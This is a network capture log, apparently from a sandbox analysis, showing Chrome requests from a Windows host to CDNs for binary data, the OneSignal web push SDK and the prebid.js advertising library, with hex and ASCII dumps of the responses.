2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 4a 65 c5 bd dc e5 35 d9 6a 3a 54 41 7b 03 73 01 75 e3 6c bf 48 d8 89 cf 2c a7 16 ce b4 85 94 11 8e f8 c4 0d 47 13 2a 36 5c ad 37 74 9f 43 77 09 ab 09 a9 c4 35 ec ab b4 5c 86 4c 38 4f ac 47 39 33 2d cc a0 97 04 12 7b 3c e0 36 99 77 9b 48 75 dd af 7d a7 05 47 a3 f5 13 05 ff 00 68 44 ee 56 41 9c ad 49 c9 bb 8b 4a d6 a2 31 32 d9 d9 cf 73 ca 62 a3 7f 48 95 09 bb 30 17 ec 4d cd 32 d6 e4 7a cb da cf 72 6e b9 01 37 94 ee 85 b2 23 ac 4d a7 68 40 56 dc 14 ce 87 f1 19 65 16 1d 98 58 71 cc 6a 98 2a 8f 7d 46 be 73 15 45 cc ca bf ea 3b 2d 3d e5 3c 45 5c 2f 78 5b 2d 20 5a b8 70 b7 8c 14 9b 81 ad c3 84 f8 4c 34 ed 4f 10 ef 1e 62 6e e9 54 4c 2a 31 62 26 f3 f6 8a d5 97 79 53 ff 00 4c 6b eb d2 13 50 9c c7 39 4a dd 66 46 c6 62 7b e2 f7 40 94 d1 75 dd 5f ca e6 1a 55 31 1a 64 Data Ascii: Je5j:TA{sulH,G6\7tCw5\L8OG93-{<6wHu}GhDVAIJ12sbH0M2zrn7#Mh@VeXqj}FsE;-=<E\/x[- ZpL4ObnTL*1b&ySLkP9JfFb{@u_U1d
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 72 71 fd 66 1f f5 2b 82 3d ef eb 31 a1 05 79 5a 33 fb c7 33 06 35 e1 f0 8c aa ad 86 8a 05 02 25 d5 c6 5a 61 98 ae f8 af cd 4c b1 76 d7 9a f6 1a aa 54 5b 53 2a d4 67 52 19 74 e9 05 a5 0e 2c 38 5f 33 e1 37 95 5d 13 f1 39 96 d8 9b 08 ff 00 b8 c3 33 e9 38 98 b1 ea c6 35 33 ef 0b 40 57 69 42 f7 cb 76 d2 99 7c 58 e9 77 00 e7 0e 25 6d e6 0c 3e 12 a3 7e 2b 4f 49 88 1c e3 32 a5 8a 67 97 39 97 28 c3 33 1f 7f b3 b0 53 45 ac 48 d0 db 29 be 01 55 1b 42 ec 16 e6 6d 94 2b 60 a5 50 35 3f bc 36 eb ce 51 5a cb 65 ac a4 af 8e 52 a7 0d c2 f2 86 8e d7 b2 11 87 2f 88 4f 62 f8 0f 83 7e 86 6e c3 5f 0f 38 70 53 67 6c 43 08 51 79 88 d2 6f e7 12 d8 7f fb 25 cd 6a 39 78 9f e9 02 ef a9 65 e7 37 8c f4 ca 8d 70 93 06 d1 5d 77 7b 37 57 d5 fc a6 ee 9d 87 e6 4c 18 39 73 9b 9d a4 35 5a 7f Data Ascii: rqf+=1yZ335%ZaLvT[S*gRt,8_37]93853@WiBv\|Xw%m>~+OI2g9(3SEH)UBm+`P5?6QZeR/Ob~n_8pSglCQyo%j9xe7p]w{7WL9s5Z
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 4a f8 78 88 d4 28 6c af bb 39 17 e6 65 5d be a5 32 30 a5 90 1e 9a df fc e9 1a b6 d2 08 50 f8 ac de f1 97 3f 4e 53 fe 9f 68 a0 47 47 43 f9 de 5e be cd 75 f8 e9 1c 43 e5 ca 6e f4 27 fc d2 05 40 00 94 6a 03 85 c3 eb f8 79 c2 e7 41 c4 d0 b1 6b 1c 43 0a eb e9 6f 9c c4 a4 a8 2d 8c 2c a5 52 bd 6b 53 a2 a7 05 35 f7 89 eb 1e b3 0b b5 43 8b ca 7f 69 fd a7 f6 ec e1 3a 4b 3a de 6b 88 7d 44 ca 65 2d 53 35 eb d2 63 a2 d8 c7 84 b1 50 af e3 2a ba 8b 60 b1 f2 ce 67 39 4f ef d9 91 8a 31 db d2 5f 1c c2 78 af ca 5a a5 36 5f 59 fd e7 7b eb 3b e7 e7 38 50 bc 65 34 5a e7 bb 2b 57 14 83 56 c5 dd 73 94 dc d4 a5 81 81 cc 41 c7 e9 37 a8 84 67 9c c4 72 3f 87 28 d5 31 1c 41 f0 8f 11 32 4b 8e aa c6 2b 6e ea 10 45 e6 e5 87 10 c8 88 d5 b6 7a f5 d9 10 ff 00 ed e8 07 44 fe 2e be 90 6d 35 Data Ascii: Jx(l9e]20P?NShGGC^uCn'@jyAkCo-,RkS5Ci:K:k}De-S5cP*`g9O1_xZ6_Y{;8Pe4Z+WVsA7gr?(1A2K+nEzD.m5
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: fb 30 58 d1 72 39 79 dc b0 de 8f 99 fb 65 4a 95 2a 13 79 5b d4 0f dc 27 44 3d 4c 01 08 69 ab 50 63 1c a2 fd 8b 81 c4 0c 20 1f a9 b0 c1 be 87 f4 4a 82 ce f9 3f 29 51 01 a0 b5 98 51 ab a6 02 cc 82 95 aa 7e d2 a4 56 b0 11 40 95 58 c8 7b ce 09 a4 b2 cf 52 06 28 7f ea 2d cd dd 0a 1e ae f5 7f 13 91 f9 24 1b 9e b3 69 6a db 47 75 50 67 45 3b a1 ca 53 03 b7 f3 50 48 4c 13 d0 d9 10 33 32 25 4a 95 30 8c 28 4f 97 c4 c6 5e ee 41 c7 1a 94 1c 76 a0 0e 51 28 6e 5c 92 32 8e 20 06 95 4c f4 b8 23 32 67 a7 7f 0b cf 85 36 15 d0 87 c5 ac 9c 41 95 9e 36 e2 ee 1c 45 5c 86 91 87 68 85 76 cb d7 af 68 cf 80 32 08 3d de 25 6e 50 17 8c 84 0e d1 e4 68 55 db b9 70 4b d1 a8 fc d0 9a 89 d9 e6 10 1c c4 14 32 e2 68 e3 71 a2 57 a0 cb 2a d7 77 90 cc 71 2c 5c f7 bd e5 90 01 b5 83 ed 23 a0 17 Data Ascii: 0Xr9yeJy['D=LiPc J?)QQ~V@X{R(-$ijGuPgE;SPHL32%J0(O^AvQ(n\2 L#2g6A6E\hvh2=%nPhUpK2hqWwq,\#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.4	49940	104.18.215.59	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:13 UTC	716	OUT	GET /sdks/OneSignalPageSDKES6.js?v=151605 HTTP/1.1 Host: cdn.onesignal.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.os.tc/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=E_OE2G9R9S7M_PyIZbBan1JVSTzVmVAalc8Y80VYqy8-1711615862-1.0.1.1-XxXxue0M8IAfuodc7c7fUGhRFS7.KAzpGmuy3Fl8LZDDTdyMkuLf9p9U0GraQGlZRoBHZKO29jn7b2rlSSuk6A
2024-03-28 08:51:14 UTC	514	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:14 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close etag: W/"e3be409ac3c100e2a5d3f264ec260551" access-control-allow-headers: OneSignal-Subscription-Id via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 721 Expires: Sun, 31 Mar 2024 08:51:14 GMT Cache-Control: public, max-age=259200 Strict-Transport-Security: max-age=15552000; includeSubDomains Server: cloudflare CF-RAY: 86b6608cfde407bb-IAD
2024-03-28 08:51:14 UTC	855	IN	Data Raw: 37 64 37 31 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 69 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 69 29 2c 6f 2e 6c 3d 21 30 2c 6f 2e 65 78 70 6f 72 74 73 7d 69 2e 6d 3d 65 2c 69 2e 63 3d 74 2c 69 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 2e 6f 28 65 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 31 2c 65 6e 75 6d 65 72 61 62 Data Ascii: 7d71!function(e){var t={};function i(n){if(t[n])return t[n].exports;var o=t[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,i),o.l=!0,o.exports}i.m=e,i.c=t,i.d=function(e,t,n){i.o(e,t)\|\|Object.defineProperty(e,t,{configurable:!1,enumerab
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 74 68 65 6e 28 72 2c 61 29 7d 63 28 28 6e 3d 6e 2e 61 70 70 6c 79 28 65 2c 74 7c 7c 5b 5d 29 29 2e 6e 65 78 74 28 29 29 7d 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 2e 64 28 74 2c 22 61 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 29 3b 63 6c 61 73 73 20 6e 7b 73 74 61 74 69 63 20 73 68 6f 75 6c 64 4c 6f 67 28 29 7b 74 72 79 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 7c 7c 76 6f 69 64 20 30 3d 3d 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 65 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 6c 6f 67 6c 65 76 65 6c 22 29 3b 72 Data Ascii: then(r,a)}c((n=n.apply(e,t\|\|[])).next())})}},function(e,t,i){"use strict";i.d(t,"a",function(){return n});class n{static shouldLog(){try{if("undefined"==typeof window\|\|void 0===window.localStorage)return!1;const e=window.localStorage.getItem("loglevel");r
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 41 7d 29 2c 69 2e 64 28 74 2c 22 78 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4d 7d 29 2c 69 2e 64 28 74 2c 22 66 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4e 7d 29 2c 69 2e 64 28 74 2c 22 7a 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 78 7d 29 2c 69 2e 64 28 74 2c 22 75 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6b 7d 29 2c 69 2e 64 28 74 2c 22 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6a 7d 29 2c 69 2e 64 28 74 2c 22 64 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 7d 29 2c 69 2e 64 28 74 2c 22 70 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 44 7d 29 2c 69 2e 64 28 74 2c 22 6d 22 2c 66 75 6e 63 Data Ascii: ion(){return A}),i.d(t,"x",function(){return M}),i.d(t,"f",function(){return N}),i.d(t,"z",function(){return x}),i.d(t,"u",function(){return k}),i.d(t,"n",function(){return j}),i.d(t,"d",function(){return _}),i.d(t,"p",function(){return D}),i.d(t,"m",func
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 5c 2e 29 7b 33 7d 28 3f 3a 32 35 5b 30 2d 35 5d 7c 32 5b 30 2d 34 5d 5b 30 2d 39 5d 7c 5b 30 31 5d 3f 5b 30 2d 39 5d 5b 30 2d 39 5d 3f 7c 5b 61 2d 7a 30 2d 39 2d 5d 2a 5b 61 2d 7a 30 2d 39 5d 3a 28 3f 3a 5b 5c 78 30 31 2d 5c 78 30 38 5c 78 30 62 5c 78 30 63 5c 78 30 65 2d 5c 78 31 66 5c 78 32 31 2d 5c 78 35 61 5c 78 35 33 2d 5c 78 37 66 5d 7c 5c 5c 5b 5c 78 30 31 2d 5c 78 30 39 5c 78 30 62 5c 78 30 63 5c 78 30 65 2d 5c 78 37 66 5d 29 2b 29 5c 5d 29 2f 29 7d 66 75 6e 63 74 69 6f 6e 20 79 28 65 2c 74 2c 69 29 7b 6c 65 74 20 6e 3b 69 66 28 21 28 6e 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 65 29 3a 65 29 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 60 24 7b 65 7d 20 Data Ascii: \.){3}(?:25[0-5]\|2[0-4][0-9]\|[01]?[0-9][0-9]?\|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]\|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])/)}function y(e,t,i){let n;if(!(n="string"==typeof e?document.querySelector(e):e))throw new Error(`${e}
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 66 69 6e 64 20 65 6c 65 6d 65 6e 74 20 77 69 74 68 20 73 65 6c 65 63 74 6f 72 20 22 24 7b 65 7d 22 60 29 3b 72 65 74 75 72 6e 20 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 74 29 7d 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 29 72 65 74 75 72 6e 20 65 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 74 29 3b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 60 24 7b 65 7d 20 6d 75 73 74 20 62 65 20 61 20 43 53 53 20 73 65 6c 65 63 74 6f 72 20 73 74 72 69 6e 67 20 6f 72 20 44 4f 4d 20 45 6c 65 6d 65 6e 74 20 6f 62 6a 65 63 74 2e 60 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 65 29 7b 72 65 74 75 72 6e 20 64 2e 61 2e 67 65 74 43 6f 6e 73 6f 6c 65 53 74 79 6c 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 29 7b Data Ascii: find element with selector "${e}"`);return i.classList.contains(t)}if("object"==typeof e)return e.classList.contains(t);throw new Error(`${e} must be a CSS selector string or DOM Element object.`)}function C(e){return d.a.getConsoleStyle(e)}function T(e){
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 29 20 77 69 74 68 20 6e 6f 20 74 61 73 6b 3a 20 22 2c 69 29 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 7b 63 6f 6e 73 74 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3b 69 66 28 6e 2e 6c 65 6e 67 74 68 3e 30 29 66 6f 72 28 6c 65 74 20 65 3d 30 3b 65 3c 6e 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 6b 28 6e 5b 65 5d 2c 74 2c 69 29 7d 65 6c 73 65 20 69 66 28 73 3d 65 2c 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 5d 22 3d 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 73 29 29 66 6f 72 28 6c 65 74 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 6b 28 65 5b 6e 5d 2c 74 2c 69 29 3b 65 6c 73 65 7b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 74 79 Data Ascii: ) with no task: ",i),"string"==typeof e){const n=document.querySelectorAll(e);if(n.length>0)for(let e=0;e<n.length;e++)k(n[e],t,i)}else if(s=e,"[object Array]"===Object.prototype.toString.call(s))for(let n=0;n<e.length;n++)k(e[n],t,i);else{if("object"!=ty
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 74 49 6e 73 74 61 6e 63 65 28 29 7b 4f 2e 64 61 74 61 62 61 73 65 49 6e 73 74 61 6e 63 65 3d 6e 75 6c 6c 7d 73 74 61 74 69 63 20 67 65 74 20 73 69 6e 67 6c 65 74 6f 6e 49 6e 73 74 61 6e 63 65 28 29 7b 72 65 74 75 72 6e 20 4f 2e 64 61 74 61 62 61 73 65 49 6e 73 74 61 6e 63 65 4e 61 6d 65 7c 7c 28 4f 2e 64 61 74 61 62 61 73 65 49 6e 73 74 61 6e 63 65 4e 61 6d 65 3d 22 4f 4e 45 5f 53 49 47 4e 41 4c 5f 53 44 4b 5f 44 42 22 29 2c 4f 2e 64 61 74 61 62 61 73 65 49 6e 73 74 61 6e 63 65 7c 7c 28 4f 2e 64 61 74 61 62 61 73 65 49 6e 73 74 61 6e 63 65 3d 6e 65 77 20 4f 28 4f 2e 64 61 74 61 62 61 73 65 49 6e 73 74 61 6e 63 65 4e 61 6d 65 29 29 2c 4f 2e 64 61 74 61 62 61 73 65 49 6e 73 74 61 6e 63 65 7d 73 74 61 74 69 63 20 61 70 70 6c 79 44 62 52 65 73 75 6c 74 46 69 Data Ascii: tInstance(){O.databaseInstance=null}static get singletonInstance(){return O.databaseInstanceName\|\|(O.databaseInstanceName="ONE_SIGNAL_SDK_DB"),O.databaseInstance\|\|(O.databaseInstance=new O(O.databaseInstanceName)),O.databaseInstance}static applyDbResultFi
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 6f 29 3d 3e 4f 62 6a 65 63 74 28 6e 2e 61 29 28 74 68 69 73 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 66 75 6e 63 74 69 6f 6e 2a 28 29 7b 6d 2e 61 2e 67 65 74 57 69 6e 64 6f 77 45 6e 76 28 29 21 3d 3d 67 2e 61 2e 53 65 72 76 69 63 65 57 6f 72 6b 65 72 26 26 62 2e 62 2e 69 73 55 73 69 6e 67 53 75 62 73 63 72 69 70 74 69 6f 6e 57 6f 72 6b 61 72 6f 75 6e 64 28 29 26 26 6d 2e 61 2e 67 65 74 54 65 73 74 45 6e 76 28 29 3d 3d 3d 75 2e 61 2e 4e 6f 6e 65 3f 4f 6e 65 53 69 67 6e 61 6c 2e 70 72 6f 78 79 46 72 61 6d 65 48 6f 73 74 2e 6d 65 73 73 61 67 65 28 4f 6e 65 53 69 67 6e 61 6c 2e 50 4f 53 54 4d 41 4d 5f 43 4f 4d 4d 41 4e 44 53 2e 52 45 4d 4f 54 45 5f 44 41 54 41 42 41 53 45 5f 50 55 54 2c 5b 7b 74 61 62 6c 65 3a 65 2c 6b 65 79 70 61 74 68 3a 74 7d 5d 2c 6e Data Ascii: o)=>Object(n.a)(this,void 0,void 0,function*(){m.a.getWindowEnv()!==g.a.ServiceWorker&&b.b.isUsingSubscriptionWorkaround()&&m.a.getTestEnv()===u.a.None?OneSignal.proxyFrameHost.message(OneSignal.POSTMAM_COMMANDS.REMOTE_DATABASE_PUT,[{table:e,keypath:t}],n
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 2a 28 29 7b 72 65 74 75 72 6e 20 79 69 65 6c 64 20 74 68 69 73 2e 67 65 74 28 22 49 64 73 22 2c 22 65 78 74 65 72 6e 61 6c 55 73 65 72 49 64 41 75 74 68 48 61 73 68 22 29 7d 29 7d 73 65 74 45 78 74 65 72 6e 61 6c 55 73 65 72 49 64 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 28 6e 2e 61 29 28 74 68 69 73 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 66 75 6e 63 74 69 6f 6e 2a 28 29 7b 63 6f 6e 73 74 20 69 3d 66 2e 62 2e 67 65 74 56 61 6c 75 65 4f 72 44 65 66 61 75 6c 74 28 65 2c 22 22 29 2c 6e 3d 66 2e 62 2e 67 65 74 56 61 6c 75 65 4f 72 44 65 66 61 75 6c 74 28 74 2c 22 22 29 3b 22 22 3d 3d 3d 69 3f 79 69 65 6c 64 20 74 68 69 73 2e 72 65 6d 6f 76 65 28 22 49 64 73 22 2c 22 65 78 74 65 72 6e 61 6c 55 73 65 72 49 64 22 29 3a 79 Data Ascii: nction(){return yield this.get("Ids","externalUserIdAuthHash")})}setExternalUserId(e,t){return Object(n.a)(this,void 0,void 0,function(){const i=f.b.getValueOrDefault(e,""),n=f.b.getValueOrDefault(t,"");""===i?yield this.remove("Ids","externalUserId"):y
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 6b 65 79 3a 22 64 65 66 61 75 6c 74 55 72 6c 22 2c 76 61 6c 75 65 3a 65 2e 64 65 66 61 75 6c 74 4e 6f 74 69 66 69 63 61 74 69 6f 6e 55 72 6c 7d 29 29 2c 28 65 2e 64 65 66 61 75 6c 74 4e 6f 74 69 66 69 63 61 74 69 6f 6e 54 69 74 6c 65 7c 7c 22 22 3d 3d 3d 65 2e 64 65 66 61 75 6c 74 4e 6f 74 69 66 69 63 61 74 69 6f 6e 54 69 74 6c 65 29 26 26 28 79 69 65 6c 64 20 74 68 69 73 2e 70 75 74 28 22 4f 70 74 69 6f 6e 73 22 2c 7b 6b 65 79 3a 22 64 65 66 61 75 6c 74 54 69 74 6c 65 22 2c 76 61 6c 75 65 3a 65 2e 64 65 66 61 75 6c 74 4e 6f 74 69 66 69 63 61 74 69 6f 6e 54 69 74 6c 65 7d 29 29 2c 6e 75 6c 6c 21 3d 65 2e 6c 61 73 74 4b 6e 6f 77 6e 50 75 73 68 45 6e 61 62 6c 65 64 26 26 28 79 69 65 6c 64 20 74 68 69 73 2e 70 75 74 28 22 4f 70 74 69 6f 6e 73 22 2c 7b 6b 65 Data Ascii: key:"defaultUrl",value:e.defaultNotificationUrl})),(e.defaultNotificationTitle\|\|""===e.defaultNotificationTitle)&&(yield this.put("Options",{key:"defaultTitle",value:e.defaultNotificationTitle})),null!=e.lastKnownPushEnabled&&(yield this.put("Options",{ke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.4	49947	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:13 UTC	538	OUT	GET /lib/prebid/prebid.codesour.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:14 UTC	689	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:14 GMT Content-Type: application/javascript Content-Length: 385859 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Thu, 21 Mar 2024 11:52:12 GMT x-rgw-object-type: Normal ETag: "34d68fe04242b703d299f49883151d91" X-Amz-Storage-Class: STANDARD x-amz-request-id: tx000009664058827c0d8c3-00660273ba-2bbc492-prg X-77-NZT: AyUTzgQ3NzehnJI73zc3N+/IuwIAWbu8qYpHFAA X-77-NZT-Ray: 8e305f1cbb0ca75d822f056639a35102 X-Accel-Expires: @1711955130 X-Accel-Date: 1711436730 X-77-Cache: HIT X-77-Age: 179144 Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:14 UTC	15695	IN	Data Raw: 2f 2a 20 70 72 65 62 69 64 2e 6a 73 20 76 38 2e 31 37 2e 30 2d 70 72 65 0a 55 70 64 61 74 65 64 3a 20 32 30 32 34 2d 30 33 2d 32 31 0a 4d 6f 64 75 6c 65 73 3a 20 61 64 70 6f 64 2c 20 75 73 65 72 49 64 2c 20 61 70 70 6e 65 78 75 73 42 69 64 41 64 61 70 74 65 72 2c 20 70 75 62 6d 61 74 69 63 42 69 64 41 64 61 70 74 65 72 2c 20 63 72 69 74 65 6f 42 69 64 41 64 61 70 74 65 72 2c 20 6f 75 74 62 72 61 69 6e 42 69 64 41 64 61 70 74 65 72 2c 20 72 75 62 69 63 6f 6e 42 69 64 41 64 61 70 74 65 72 2c 20 73 65 65 64 74 61 67 42 69 64 41 64 61 70 74 65 72 2c 20 73 68 6f 77 68 65 72 6f 65 73 2d 62 73 42 69 64 41 64 61 70 74 65 72 2c 20 74 65 61 64 73 42 69 64 41 64 61 70 74 65 72 2c 20 63 6f 6e 73 65 6e 74 4d 61 6e 61 67 65 6d 65 6e 74 2c 20 63 75 72 72 65 6e 63 79 2c Data Ascii: /* prebid.js v8.17.0-preUpdated: 2024-03-21Modules: adpod, userId, appnexusBidAdapter, pubmaticBidAdapter, criteoBidAdapter, outbrainBidAdapter, rubiconBidAdapter, seedtagBidAdapter, showheroes-bsBidAdapter, teadsBidAdapter, consentManagement, currency,
2024-03-28 08:51:14 UTC	16384	IN	Data Raw: 74 28 6e 2c 22 20 6f 66 20 22 29 2e 63 6f 6e 63 61 74 28 65 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 6e 2c 74 29 7b 69 66 28 28 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 73 72 63 29 21 3d 3d 62 2e 6f 73 2e 59 5a 29 7b 76 61 72 20 69 3d 4b 28 65 2c 6e 29 3b 6e 75 6c 6c 21 3d 69 26 26 48 2e 61 70 70 6c 79 28 76 6f 69 64 20 30 2c 5b 65 2c 6e 5d 2e 63 6f 6e 63 61 74 28 28 30 2c 72 2e 5a 29 28 69 29 2c 5b 74 5d 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 56 28 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 6e 65 77 20 53 65 74 3b 50 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 65 29 26 26 21 6e 2e 68 61 73 28 65 29 3b 29 6e 2e 61 64 64 28 65 29 2c 65 3d 50 5b 65 5d 3b 72 65 74 75 72 6e 20 65 7d 55 2e 6d 61 6b 65 42 69 64 52 65 71 75 65 73 74 73 3d 28 Data Ascii: t(n," of ").concat(e))}}function G(e,n,t){if((null==t?void 0:t.src)!==b.os.YZ){var i=K(e,n);null!=i&&H.apply(void 0,[e,n].concat((0,r.Z)(i),[t]))}}function V(e){for(var n=new Set;P.hasOwnProperty(e)&&!n.has(e);)n.add(e),e=P[e];return e}U.makeBidRequests=(
2024-03-28 08:51:14 UTC	16384	IN	Data Raw: 5b 22 64 65 62 75 67 67 69 6e 67 22 2c 22 61 64 6c 6f 6f 78 22 2c 22 63 72 69 74 65 6f 22 2c 22 6f 75 74 73 74 72 65 61 6d 22 2c 22 61 64 61 67 69 6f 22 2c 22 73 70 6f 74 78 22 2c 22 62 72 6f 77 73 69 22 2c 22 62 72 61 6e 64 6d 65 74 72 69 63 73 22 2c 22 6a 75 73 74 74 61 67 22 2c 22 74 6e 63 49 64 22 2c 22 61 6b 61 6d 61 69 64 61 70 22 2c 22 66 74 72 61 63 6b 49 64 22 2c 22 69 6e 73 6b 69 6e 22 2c 22 68 61 64 72 6f 6e 22 2c 22 6d 65 64 69 61 6e 65 74 22 2c 22 69 6d 70 72 6f 76 65 64 69 67 69 74 61 6c 22 2c 22 61 61 78 42 6c 6f 63 6b 6d 65 74 65 72 22 2c 22 63 6f 6e 66 69 61 6e 74 22 2c 22 61 72 63 73 70 61 6e 22 2c 22 61 69 72 67 72 69 64 22 2c 22 63 6c 65 61 6e 2e 69 6f 22 2c 22 61 31 4d 65 64 69 61 22 2c 22 67 65 6f 65 64 67 65 22 5d 3b 66 75 6e 63 74 Data Ascii: ["debugging","adloox","criteo","outstream","adagio","spotx","browsi","brandmetrics","justtag","tncId","akamaidap","ftrackId","inskin","hadron","medianet","improvedigital","aaxBlockmeter","confiant","arcspan","airgrid","clean.io","a1Media","geoedge"];funct
